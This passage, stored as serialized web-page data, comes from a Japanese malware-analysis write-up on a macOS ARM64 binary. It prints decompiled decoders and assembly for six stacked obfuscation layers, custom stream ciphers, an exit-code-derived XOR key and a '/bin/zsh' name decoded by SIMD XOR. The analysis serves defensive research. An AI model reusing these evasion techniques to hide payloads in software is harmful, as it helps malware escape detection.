#0x48]\n",[621,1147,1148],{"class":623,"line":630},[621,1149,1150],{},"10009f41c:  mov w0,#0x37e\n",[621,1152,1153],{"class":623,"line":844},[621,1154,1155],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[621,1157,1158],{"class":623,"line":861},[621,1159,1160],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[621,1162,1164],{"class":623,"line":1163},5,[621,1165,1166],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[621,1168,1170],{"class":623,"line":1169},6,[621,1171,1172],{},"10009f42c:  mov w8,w25               ; current state index\n",[621,1174,1176],{"class":623,"line":1175},7,[621,1177,1178],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[621,1180,1182],{"class":623,"line":1181},8,[621,1183,1184],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[621,1186,1188],{"class":623,"line":1187},9,[621,1189,1190],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[621,1192,1194],{"class":623,"line":1193},10,[621,1195,1196],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[562,1198,1199],{"id":1199},"積み重ねられた6層の難読化",[528,1201,568],{},[528,1203,1204,1205,1208],{},"このバイナリは6種類の難読化層を用い、それらを積み重ねて連結しているため、各層の出力が次の層へ供給されます。ペイロードも文字列も内部定数もすべてエンコードされています。",[555,1206,1207],{},"__const","セグメントには意味のある平文は一切現れません。以下は、個々のARM64命令のレベルまでGhidra上で直接検証した、層ごとの完全な読み解きです。使われている技法は個別に見ればいずれも既知のものですが、複数段にわたって連結した適用は相互依存の強い実行フローを生み出し、静的解析と動的解析の双方を著しく困難にしました。",[538,1210],{},[704,1212,1214],{"id":1213},"layer-1コンパイル時トリプレットエンコーディング","Layer 1：コンパイル時トリプレットエンコーディング",[528,1216,710],{},[528,1218,1219,1220,1223],{},"バイナリ内の文字列は文字の並びとしては保存されておらず、12バイトの算術トリプレットの列として格納されています。各トリプレット",[555,1221,1222],{},"(a, b, shift)","がちょうど1文字の出力をエンコードします。このエンコード方式はコンパイル時に適用されるため、ロード時に一時的にも、平文の文字列がバイナリ内に存在することはありません。",[528,1225,1226,1227,1230,1231,1234,1235,1238,1239,1230,1242,1245,1246,1249],{},"2つの独立したデコーダ関数が、異なる文字列長を扱います。",[555,1228,1229],{},"0x100087c08","にある",[555,1232,1233],{},"FUN_100087c08","は60文字の文字列（",[555,1236,1237],{},"DAT_1006292cc","からの720バイトの入力データ）をデコードします。",[555,1240,1241],{},"0x10007ad80",[555,1243,1244],{},"FUN_10007ad80","は56文字の文字列（",[555,1247,1248],{},"DAT_10049708c","からの672バイト）をデコードします。どちらも同じアルゴリズムを使います。",[573,1251,1252],{"style":575},[1037,1253,1254,1257,1259,1262,1053,1264,1058,1266,1269,1270,1272,1273,1275,1276,1278,1279,1282,1283],{},[621,1255,1256],{"style":1041},"// FUN_100087c08 @ 0x100087c08",[1044,1258],{},[621,1260,1261],{"style":1041},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[621,1263,1052],{"style":1051},[621,1265,1233],{"style":1056},[621,1267,1268],{"style":1051},"long"," *param_1)\n{\n  ",[621,1271,1268],{"style":1051}," *plVar1;\n  ",[621,1274,1052],{"style":1051}," *pvVar2;\n  ",[621,1277,1268],{"style":1051}," lVar3;\n  ",[621,1280,1281],{"style":1051},"uint"," *puVar4;\n",[528,1284,1285,1286,1058,1289,1292,1293,1298,1301,1302,1292,1304,1307,1309,1312,1313,1316,1317,1292,1320,1323,1324,1326,1327,1091,1329,1331,1332,1335,1336,1339,1340,1342,1343,1346,1347,1350,1351,1091,1354,1356,1357,1360,1361,1364,1366,1369,1370,1091,1372,1374,1375,1377,1378,1380,1381,1386,1387,1390,1391,1396,1397,1400,1401,1403,1404,1409,1410,1412,1413,1415,1416,1419,1420,1423,1424,1292,1426,1429,1431,1434,1435,1107],{},"pvVar2 = ",[621,1287,1288],{"style":1056},"operator_new",[621,1290,1291],{"style":1077},"0x2d0","); ",[621,1294,1295,1296],{"style":1041},"// allocate 720 bytes (60 triplets × 12)",[1044,1297],{},[621,1299,1300],{"style":1056},"_memcpy","(pvVar2, &DAT_1006292cc, ",[621,1303,1291],{"style":1077},[621,1305,1306],{"style":1041},"// copy encoded triplets from __const",[1044,1308],{},[621,1310,1311],{"style":1056},"FUN_1000a0840","(param_1, ",[621,1314,1315],{"style":1077},"0x3c",", ",[621,1318,1319],{"style":1077},"0",[621,1321,1322],{"style":1041},"// init 60-char output buffer","\nlVar3 = ",[621,1325,1319],{"style":1077},";\npuVar4 = (",[621,1328,1281],{"style":1051},[621,1330,1268],{"style":1051},")pvVar2 + ",[621,1333,1334],{"style":1077},"8",");\n",[621,1337,1338],{"style":1051},"do"," {\nplVar1 = (",[621,1341,1268],{"style":1051}," _)_param_1;\n",[621,1344,1345],{"style":1051},"if"," (-",[621,1348,1349],{"style":1077},"1"," \u003C _(",[621,1352,1353],{"style":1051},"char",[621,1355,1268],{"style":1051},")param_1 + ",[621,1358,1359],{"style":1077},"0x17",")) {\nplVar1 = param_1;\n}\n",[621,1362,1363],{"style":1041},"// THE DECODE FORMULA, one character per triplet:",[1044,1365],{},[621,1367,1368],{"style":1041},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[621,1371,1353],{"style":1051},[621,1373,1268],{"style":1051},")plVar1 + lVar3) =\n(",[621,1376,1353],{"style":1051},")((",[621,1379,1064],{"style":1051},")(puVar4",[621,1382,1383,1384],{},"-",[621,1385,1349],{"style":1077}," * ",[621,1388,1389],{"style":1077},"3"," ^ puVar4",[621,1392,1383,1393],{},[621,1394,1395],{"style":1077},"2",") >> (*puVar4 & ",[621,1398,1399],{"style":1077},"0x1f",")) - (",[621,1402,1353],{"style":1051},")puVar4",[621,1405,1406],{},[621,1407,1408],{"style":1077},"-1",";\nlVar3 = lVar3 + ",[621,1411,1349],{"style":1077},";\npuVar4 = puVar4 + ",[621,1414,1389],{"style":1077},"; ",[621,1417,1418],{"style":1041},"// advance 12 bytes — next triplet","\n} ",[621,1421,1422],{"style":1051},"while"," (lVar3 != ",[621,1425,1315],{"style":1077},[621,1427,1428],{"style":1041},"// loop exactly 60 times",[1044,1430],{},[621,1432,1433],{"style":1056},"operator_delete","(pvVar2);\n",[621,1436,1106],{"style":1051},[528,1438,1439],{},"対応するARM64アセンブリは次のとおりで、各命令が式の中の演算に直接対応します。",[573,1441,1442],{"style":575},[577,1443,1446],{"className":1444,"code":1445,"language":582},[580],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[555,1447,1445],{"__ignoreMap":585},[528,1449,1450,1451,1454,1455,1458],{},"注目すべき点として、",[555,1452,1453],{},"b × 3","の乗算は",[555,1456,1457],{},"add w12, w11, w11, LSL #1","として実装されています。乗算命令を完全に避けるシフト・アンド・アッドです。これは古典的なコンパイラ最適化であると同時に、シグネチャマッチングによる検出を難しくする効果もあります。",[528,1460,1461],{},"デコード式の全体は次のとおりです。",[573,1463,1464],{"style":575},[577,1465,1468],{"className":1466,"code":1467,"language":582},[580],"char = ASR( (b × 3) XOR a, shift ) − b\n",[555,1469,1467],{"__ignoreMap":585},[528,1471,1472,1475,1476,1479,1480,1483],{},[555,1473,1474],{},"ASR","（算術右シフト）が決定的に重要で、符号ビットを保持します。",[555,1477,1478],{},"(b×3) XOR a","の中間結果が負になる場合（これは頻繁に起こります）、論理シフトではまったく異なる結果になってしまいます。これは意図的なものです。高級言語で",[555,1481,1482],{},">>","を使ってこの式を再実装すると、符号付き演算を明示的に考慮しない限り、誤った出力が黙って生成されます。",[528,1485,1486,1487,1489,1490,1492,1493,1496],{},"56文字版の",[555,1488,1244],{},"は構造的に同一で、",[555,1491,1248],{},"を対象にループ上限",[555,1494,1495],{},"0x38","で動作します。両関数とも、本解析の中でGhidra上で実際に確認しました。",[538,1498],{},[704,1500,1502],{"id":1501},"layer-216進文字列エンコーディング","Layer 2：16進文字列エンコーディング",[528,1504,710],{},[528,1506,1507,1508,1511,1512,1515,1516,1519,1520,1523],{},"Layer 1が生成する生バイト列は、それ自体がASCIIの16進文字であり、バイナリデータではありません。Layer 1のトリプレットデコードの出力は16進ペアからなる文字列、たとえば",[555,1509,1510],{},"32694e5462...","です。これは",[555,1513,1514],{},"0x100000dc0","にあるデコーダ関数",[555,1517,1518],{},"FUN_100000dc0","から裏づけられます。この関数は",[555,1521,1522],{},"DAT_1007bb591","のルックアップテーブルを介した16進デコードを実装しています。",[528,1525,1526,1527,1383,1530,1533,1534,1383,1537,1533,1540,1383,1543,1546],{},"Ghidraの逆コンパイル結果には、各16進文字（",[555,1528,1529],{},"0x30",[555,1531,1532],{},"0x39","、",[555,1535,1536],{},"0x41",[555,1538,1539],{},"0x46",[555,1541,1542],{},"0x61",[555,1544,1545],{},"0x66","）をニブル値へ対応づけ、2文字ずつまとめて出力バイトを組み立てるswitch文が現れます。",[573,1548,1549],{"style":575},[1037,1550,1551,1554,1557,1560,1561,1564,1565,1567,1568,1053,1571,1573,1574,1577,1578,934,1581,1053,1583,1586,1587,1415,1590,1592,1593,934,1596,1053,1598,1586,1601,1415,1604,1592,1606,934,1609,934,1612,1053,1614,1573,1616,1053,1618,1586,1620,1415,1623,1625,1626,934,1629,1053,1631,1573,1634,1053,1636,1586,1639,1415,1642,1625,1644,934,1647,1053,1649,1573,1652,1053,1654,1657,1658,1415,1661,1625,1663,934,1666,1053,1668,1573,1671,1053,1673,1676,1677,1415,1680,1625,1682,934,1685,1053,1687,1573,1690,1053,1692,1586,1695,1415,1698,1625,1700,934,1703,1053,1705,1573,1707,1053,1709,1586,1711,1415,1714,1625,1716,1719,1720,1723,1724,1564,1727,1729,1730,1732,1733,1736],{},[621,1552,1553],{"style":1041},"// FUN_100000dc0 @ 0x100000dc0",[621,1555,1556],{"style":1041},"// Hex decoder, processes input two characters per output byte",[621,1558,1559],{"style":1051},"switch","(*(",[621,1562,1563],{"style":1051},"undefined1"," *)((",[621,1566,1268],{"style":1051},")plVar2 + lVar7)) {\n  ",[621,1569,1570],{"style":1051},"case",[621,1572,1529],{"style":1077},": ",[621,1575,1576],{"style":1051},"break",";                  ",[621,1579,1580],{"style":1041},"// '0' → 0x00",[621,1582,1570],{"style":1051},[621,1584,1585],{"style":1077},"0x31",": bVar9 = ",[621,1588,1589],{"style":1077},"0x10",[621,1591,1576],{"style":1051},";   ",[621,1594,1595],{"style":1041},"// '1' → 0x10",[621,1597,1570],{"style":1051},[621,1599,1600],{"style":1077},"0x32",[621,1602,1603],{"style":1077},"0x20",[621,1605,1576],{"style":1051},[621,1607,1608],{"style":1041},"// '2' → 0x20",[621,1610,1611],{"style":1041},"// ... '3' through '9' ...",[621,1613,1570],{"style":1051},[621,1615,1536],{"style":1077},[621,1617,1570],{"style":1051},[621,1619,1542],{"style":1077},[621,1621,1622],{"style":1077},"0xa0",[621,1624,1576],{"style":1051},";  ",[621,1627,1628],{"style":1041},"// 'A'/'a' → 0xa0",[621,1630,1570],{"style":1051},[621,1632,1633],{"style":1077},"0x42",[621,1635,1570],{"style":1051},[621,1637,1638],{"style":1077},"0x62",[621,1640,1641],{"style":1077},"0xb0",[621,1643,1576],{"style":1051},[621,1645,1646],{"style":1041},"// 'B'/'b' → 0xb0",[621,1648,1570],{"style":1051},[621,1650,1651],{"style":1077},"0x43",[621,1653,1570],{"style":1051},[621,1655,1656],{"style":1077},"99",":   bVar9 = ",[621,1659,1660],{"style":1077},"0xc0",[621,1662,1576],{"style":1051},[621,1664,1665],{"style":1041},"// 'C'/'c' → 0xc0",[621,1667,1570],{"style":1051},[621,1669,1670],{"style":1077},"0x44",[621,1672,1570],{"style":1051},[621,1674,1675],{"style":1077},"100",":  bVar9 = ",[621,1678,1679],{"style":1077},"0xd0",[621,1681,1576],{"style":1051},[621,1683,1684],{"style":1041},"// 'D'/'d' → 0xd0",[621,1686,1570],{"style":1051},[621,1688,1689],{"style":1077},"0x45",[621,1691,1570],{"style":1051},[621,1693,1694],{"style":1077},"0x65",[621,1696,1697],{"style":1077},"0xe0",[621,1699,1576],{"style":1051},[621,1701,1702],{"style":1041},"// 'E'/'e' → 0xe0",[621,1704,1570],{"style":1051},[621,1706,1539],{"style":1077},[621,1708,1570],{"style":1051},[621,1710,1545],{"style":1077},[621,1712,1713],{"style":1077},"0xf0",[621,1715,1576],{"style":1051},[621,1717,1718],{"style":1041},"// 'F'/'f' → 0xf0","\n}\n",[621,1721,1722],{"style":1041},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[621,1725,1726],{"style":1051},"byte",[621,1728,1268],{"style":1051},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[621,1731,1094],{"style":1051},")uVar4 & ",[621,1734,1735],{"style":1077},"0xff","] | bVar9;\n",[528,1738,1739],{},"ARM64アセンブリはこれを二次的な計算分岐テーブルで駆動し、事実上55エントリのジャンプテーブルとしてswitchを実装しています。",[573,1741,1742],{"style":575},[577,1743,1746],{"className":1744,"code":1745,"language":582},[580],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[555,1747,1745],{"__ignoreMap":585},[528,1749,1750],{},"24バイトの範囲に計算分岐が2つ。どちらの分岐先も解析時点では不明なため、静的解析ツールはこのパターンに対処できません。",[528,1752,1753],{},"137,208文字の16進文字列はデコード後に68,604バイトとなり、それがLayer 3へ供給されます。",[538,1755],{},[704,1757,1759],{"id":1758},"layer-3独自の16シンボルニブルアルファベット","Layer 3：独自の16シンボル・ニブルアルファベット",[528,1761,710],{},[528,1763,1764],{},"Layer 2から出力される68,604バイトは、連続しない2つのASCII領域から取られた16種類のバイト値しか使いません。",[1766,1767,1768,1818],"ul",{},[1769,1770,1771,1774,1775,1533,1778,1533,1781,1533,1784,1533,1787,1533,1790,1533,1793,1533,1796,1533,1798,1533,1801,1533,1804,1533,1807,1533,1810,1533,1812,1533,1815],"li",{},[555,1772,1773],{},"0x20-0x2F","：空白、",[555,1776,1777],{},"!",[555,1779,1780],{},"\"",[555,1782,1783],{},"#",[555,1785,1786],{},"$",[555,1788,1789],{},"%",[555,1791,1792],{},"&",[555,1794,1795],{},"'",[555,1797,1058],{},[555,1799,1800],{},")",[555,1802,1803],{},"*",[555,1805,1806],{},"+",[555,1808,1809],{},",",[555,1811,1383],{},[555,1813,1814],{},".",[555,1816,1817],{},"/",[1769,1819,1820,1823,1824,1533,1827,1533,1830,1533,1833,1533,1836,1533,1839,1533,1842,1845],{},[555,1821,1822],{},"0x78-0x7F","：",[555,1825,1826],{},"x",[555,1828,1829],{},"y",[555,1831,1832],{},"z",[555,1834,1835],{},"{",[555,1837,1838],{},"|",[555,1840,1841],{},"}",[555,1843,1844],{},"~","、DEL",[528,1847,1848],{},"これは意図的な設計判断です。16進エディタ上では、これらのバイトは空白や約物、ASCIIの端の文字に見え、メタデータやパディングらしきものの雑音に紛れます。16進ダンプを流し読みするアナリストは、このバイト領域を不審とは判定しませんし、バイト分布がランダムに見えないため、標準的なエントロピー解析は実効的なエントロピーを過小評価します。",[528,1850,1851,1852,1855,1856,1859,1860,1863,1864,1867],{},"このアルファベットの各バイトが、実際のペイロードの1ニブルをエンコードします。アルファベットとニブルの対応づけを適用するのはエンコード／デコード関数",[555,1853,1854],{},"FUN_100000d60","で、",[555,1857,1858],{},"0x100000d60","にあることを確認しました。この関数は2つのサブ関数を連結します。",[555,1861,1862],{},"FUN_100000b50","が入力文字列の文字をインデックス付きのマップにし、",[555,1865,1866],{},"FUN_100000c34","がそのマップをたどりながら1ステップあたり6ビットを消費し、8ビット単位で出力バイトを積み上げます。",[573,1869,1870],{"style":575},[1037,1871,1872,1875,1876,1878,1879,1881,1882,1884,1885,1888,1889,934,1892,1894,1895,1897,1898,938,1901,1903,1904,1907,1908,1910,1911,938,1914,1916,1917,1920,1921,1924,1925,1927,1928,1931,1932,1934,1935,1564,1938,1940,1941,1943,1944,1946],{},[621,1873,1874],{"style":1041},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[621,1877,1319],{"style":1077},";\n",[621,1880,1338],{"style":1051}," {\n  local_52 = *(",[621,1883,1563],{"style":1051}," *)puVar4;\n  lVar3 = ",[621,1886,1887],{"style":1056},"FUN_1000a078c","(param_3, &local_52);  ",[621,1890,1891],{"style":1041},"// look up nibble value",[621,1893,1345],{"style":1051}," (lVar3 == ",[621,1896,1319],{"style":1077},") {\n    ",[621,1899,1900],{"style":1041},"// character not in alphabet, treat as raw",[621,1902,1887],{"style":1056},"(param_3, &local_51);\n  } ",[621,1905,1906],{"style":1051},"else"," {\n    iVar5 = iVar5 + ",[621,1909,1098],{"style":1077},";           ",[621,1912,1913],{"style":1041},"// accumulate 4 bits",[621,1915,1422],{"style":1051}," (",[621,1918,1919],{"style":1077},"7"," \u003C iVar5) {\n      std::string::",[621,1922,1923],{"style":1056},"push_back","((",[621,1926,1353],{"style":1051},")param_1);  ",[621,1929,1930],{"style":1041},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[621,1933,1334],{"style":1077},";\n    }\n  }\n  puVar4 = (",[621,1936,1937],{"style":1051},"undefined8",[621,1939,1268],{"style":1051},")puVar4 + ",[621,1942,1349],{"style":1077},");\n} ",[621,1945,1422],{"style":1051}," (puVar4 != puVar1);\n",[528,1948,1949],{},"この処理から得られる34,302バイトは、99.7%が印字可能なASCIIです。ざっと見た限りでは、この段階のペイロードは大きなシェルスクリプトか設定用のブロブのように見えます。",[538,1951],{},[704,1953,1955],{"id":1954},"layer-4コンパイル時文字列難読化","Layer 4：コンパイル時文字列難読化",[528,1957,710],{},[528,1959,1960],{},"内部で使われる文字列は、Layer 1と同じトリプレット方式でコンパイル時に難読化され、実行時に使用の直前で再構成されます。メモリ上には必要以上に長く留まらず、バッファは使用後ただちに解放されます。バイナリの静的データセクションに、デコード済みの文字列が見える瞬間は一度もありません。",[528,1962,1963,1964,1967],{},"文字列ハッシュ関数",[555,1965,1966],{},"FUN_100000730","は、文字列比較に対する二次的な難読化層を提供します。文字列を直接比較すればメモリ上に平文が残ってしまうため、このバイナリは整数ハッシュを計算して比較します。",[573,1969,1970],{"style":575},[1037,1971,1972,1975,1978,1053,1980,1058,1982,1269,1984,1986,1987,1990,1991,934,1994,934,1997,2000,2001,2003,2004,2006,2007,2009,2010,1625,2013,2016,2017,2019,2020,2022],{},[621,1973,1974],{"style":1041},"// FUN_100000730 @ 0x100000730",[621,1976,1977],{"style":1041},"// FNV-style string hash, avoids plaintext string comparisons",[621,1979,1064],{"style":1051},[621,1981,1966],{"style":1056},[621,1983,1353],{"style":1051},[621,1985,1064],{"style":1051}," iVar4 = ",[621,1988,1989],{"style":1077},"0x19a8",";    ",[621,1992,1993],{"style":1041},"// FNV offset basis (modified)",[621,1995,1996],{"style":1041},"// ...",[621,1998,1999],{"style":1051},"for"," (; uVar3 != ",[621,2002,1319],{"style":1077},"; uVar3 = uVar3 - ",[621,2005,1349],{"style":1077},") {\n    iVar4 = (",[621,2008,1064],{"style":1051},")*pcVar1 + iVar4 * -",[621,2011,2012],{"style":1077},"0x7fb91be3",[621,2014,2015],{"style":1041},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[621,2018,1349],{"style":1077},";\n  }\n  ",[621,2021,1106],{"style":1051}," iVar4;\n}\n",[528,2024,2025],{},"ARM64アセンブリでは、この乗算が積和演算（fused multiply-add）に置き換えられています。",[573,2027,2028],{"style":575},[577,2029,2032],{"className":2030,"code":2031,"language":582},[580],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[555,2033,2031],{"__ignoreMap":585},[528,2035,2036],{},"つまり、バイナリ内で2つの文字列を比較しても、デバッガが文字列のレベルできれいに捕捉できる分岐は生まれず、ハッシュのレベルでしか捉えられません。",[538,2038],{},[704,2040,2042],{"id":2041},"layer-5二重のカスタムストリーム暗号インスタンス","Layer 5：二重のカスタムストリーム暗号インスタンス",[528,2044,710],{},[528,2046,2047,2048,2051],{},"ここから難読化アーキテクチャは異例の様相を帯びます。このバイナリで動作する暗号インスタンスは1つではなく、",[766,2049,2050],{},"独立した2つのインスタンス","であり、それぞれ異なるハードコードされたルックアップテーブルと異なる初期カウンタを持ちます。どちらも同じアルゴリズム構造を使いますが、ペイロードパイプラインの異なる部分に向けて異なる出力アルファベットを生成します。",[528,2053,2054,2057,2058,1230,2061,2064],{},[766,2055,2056],{},"インスタンスA","は",[555,2059,2060],{},"0x10007ab34",[555,2062,2063],{},"FUN_10007ab34","です。",[573,2066,2067],{"style":575},[1037,2068,2069,2072,2073,1878,2076,2078,2079,1564,2081,2083,2084,2086,2087,1564,2089,2091,2092,2094,2095,1564,2097,2099,2100,2102,2103,2106,2107,2109,2110,2112],{},[621,2070,2071],{"style":1041},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[621,2074,2075],{"style":1077},"0x4c",[621,2077,1338],{"style":1051}," {\n  bVar2 = *(",[621,2080,1726],{"style":1051},[621,2082,1268],{"style":1051},")local_e0 +\n          ((",[621,2085,1094],{"style":1051},")(*(",[621,2088,1726],{"style":1051},[621,2090,1268],{"style":1051},")local_c8 + uVar5) ^ uVar6) & ",[621,2093,1735],{"style":1077},"));\n  *(",[621,2096,1726],{"style":1051},[621,2098,1268],{"style":1051},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[621,2101,1064],{"style":1051},")uVar5 + (uVar6 ^ bVar2);  ",[621,2104,2105],{"style":1041},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[621,2108,1349],{"style":1077},";\n} ",[621,2111,1422],{"style":1051}," (uVar7 != uVar5);\n",[528,2114,2115,2057,2118,1230,2121,2064],{},[766,2116,2117],{},"インスタンスB",[555,2119,2120],{},"0x10007a7e0",[555,2122,2123],{},"FUN_10007a7e0",[573,2125,2126],{"style":575},[1037,2127,2128,2072,2131,1878,2134,2078,2136,1564,2138,2140,2141,2086,2143,1564,2145,2147,2148,2094,2150,1564,2152,2099,2154,2102,2156,2106,2159,2109,2161,2112],{},[621,2129,2130],{"style":1041},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[621,2132,2133],{"style":1077},"0x9f",[621,2135,1338],{"style":1051},[621,2137,1726],{"style":1051},[621,2139,1268],{"style":1051},")local_c0 +\n          ((",[621,2142,1094],{"style":1051},[621,2144,1726],{"style":1051},[621,2146,1268],{"style":1051},")local_a8 + uVar5) ^ uVar6) & ",[621,2149,1735],{"style":1077},[621,2151,1726],{"style":1051},[621,2153,1268],{"style":1051},[621,2155,1064],{"style":1051},[621,2157,2158],{"style":1041},"// identical counter update formula",[621,2160,1349],{"style":1077},[621,2162,1422],{"style":1051},[528,2164,2165,2166,2168,2169,2171],{},"アルゴリズムは構造的に同一ですが、初期カウンタが異なり（",[555,2167,2075],{},"と",[555,2170,2133],{},"）、ルックアップテーブルも別のメモリアドレスに置かれています。インスタンスAは状態マシンの状態11から呼ばれ、最初のペイロード経路用のエンコードアルファベットを生成します。インスタンスBは状態6から呼ばれ、大きなシェルスクリプトペイロードのデコード用アルファベットを生成します。",[528,2173,2174,2175,2178,2179,2182,2183,2186],{},"正確に言えば、これは",[766,2176,2177],{},"カウンタ依存インデックスを持つ換字式暗号","です。各出力バイトはテーブル参照であり、そのインデックスは",[555,2180,2181],{},"(input_byte XOR counter) & 0xFF","です。カウンタは1バイトごとに",[555,2184,2185],{},"counter = (i + (counter XOR output)) & 0xFF","として更新されるため、各出力バイトが次の参照インデックスの決定に影響します。これにより出力列の全体にわたる依存の連鎖が生まれます。バイト0からN-1までを正しく復号していなければ、バイトNは復号できません。部分的な復号や誤り解析は、これによって著しく難しくなります。",[528,2188,2189],{},"どちらのインスタンスも標準的なRC4ではありません。S-boxの初期化フェーズもなければ、S-boxのスワップ操作もありません。ルックアップテーブルはコンパイル時に埋め込まれた静的な定数です。",[538,2191],{},[704,2193,2195],{"id":2194},"layer-6終了コード依存の鍵によるランタイムxor","Layer 6：終了コード依存の鍵によるランタイムXOR",[528,2197,710],{},[528,2199,2200,2201,2204],{},"最後の層は解析上もっとも手強く、Stage 2のペイロードにインプレースのXOR変換を適用します。XOR鍵はハードコードされておらず、",[766,2202,2203],{},"最初のシェルペイロード実行","の終了コードから実行時に導出されるため、静的解析では原理的に決定できません。鍵が存在するようになるには、バイナリが実際に実行され、最初のシェルスクリプトが最後まで動き切る必要があります。",[528,2206,2207],{},"ARM64の状態マシンディスパッチャにおける鍵導出のシーケンスは次のとおりです。",[573,2209,2210],{"style":575},[577,2211,2214],{"className":2212,"code":2213,"language":582},[580],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[555,2215,2213],{"__ignoreMap":585},[528,2217,2218],{},"Stage 2のペイロードを処理するXORループは次のとおりです。",[573,2220,2221],{"style":575},[577,2222,2225],{"className":2223,"code":2224,"language":582},[580],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[555,2226,2224],{"__ignoreMap":585},[528,2228,2229,2230,2233,2234,2237,2238,2240],{},"鍵は16ビット値で、最初のシェルペイロードの終了ステータスバイトから導かれ、",[555,2231,2232],{},"0x7f0","を掛けたうえで、状態マシンの基底カウンタレジスタ",[555,2235,2236],{},"w26","の現在値に加算されます。乗数定数",[555,2239,2232],{},"があるため、終了コードが1ビット違うだけでまったく別の鍵になります。隣り合う鍵の値のあいだに、利用できる連続性はありません。",[528,2242,2243],{},"バイナリを管理された環境で実行し、最初のシェルペイロードの正確な終了コードを記録しない限り、Stage 2のペイロードは静的解析にとって永久に不透明なままです。これが解析全体で最も高い壁でした。",[538,2245],{},[562,2247,2249],{"id":2248},"シェル実行引数ではなくパイプそしてsimd-xor","シェル実行：引数ではなくパイプ、そしてSIMD XOR",[528,2251,568],{},[528,2253,2254,2257,2258,2261],{},[555,2255,2256],{},"0x10000091c","にあるシェル実行関数",[555,2259,2260],{},"FUN_10000091c","は、このバイナリでアーキテクチャ的に最も興味深い構成要素です。ここにすべてが集まります。デコード済みのペイロード、難読化されたコマンド名、そして明確な反フォレンジック設計です。この関数における設計判断は、いずれも特定の回避目的を持っています。",[704,2263,2265],{"id":2264},"ステップ1コマンド名は平文では現れない","ステップ1：コマンド名は平文では現れない",[528,2267,710],{},[528,2269,2270,2273,2274,2277,2278,2281,2282,2285],{},[555,2271,2272],{},"/bin/zsh","は、このバイナリのどこにも平文としては存在しません。",[555,2275,2276],{},"0x1007bb5c8","の",[555,2279,2280],{},"__cstring","セクションには、難読化されたバイト列",[555,2283,2284],{},"\\x01LG@\\x01T]F","として置かれています。デコードは実行時に単一のXOR演算で行われ、ARM64アセンブリ上で直接検証できます。",[573,2287,2288],{"style":575},[577,2289,2292],{"className":2290,"code":2291,"language":582},[580],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[555,2293,2291],{"__ignoreMap":585},[528,2295,2296,2297,2300,2301,2303,2304,2307],{},"XOR鍵は",[555,2298,2299],{},"0x2e","、ピリオド",[555,2302,1814],{},"のASCII値です。デコードは",[555,2305,2306],{},"eor v0.8B, v0.8B, 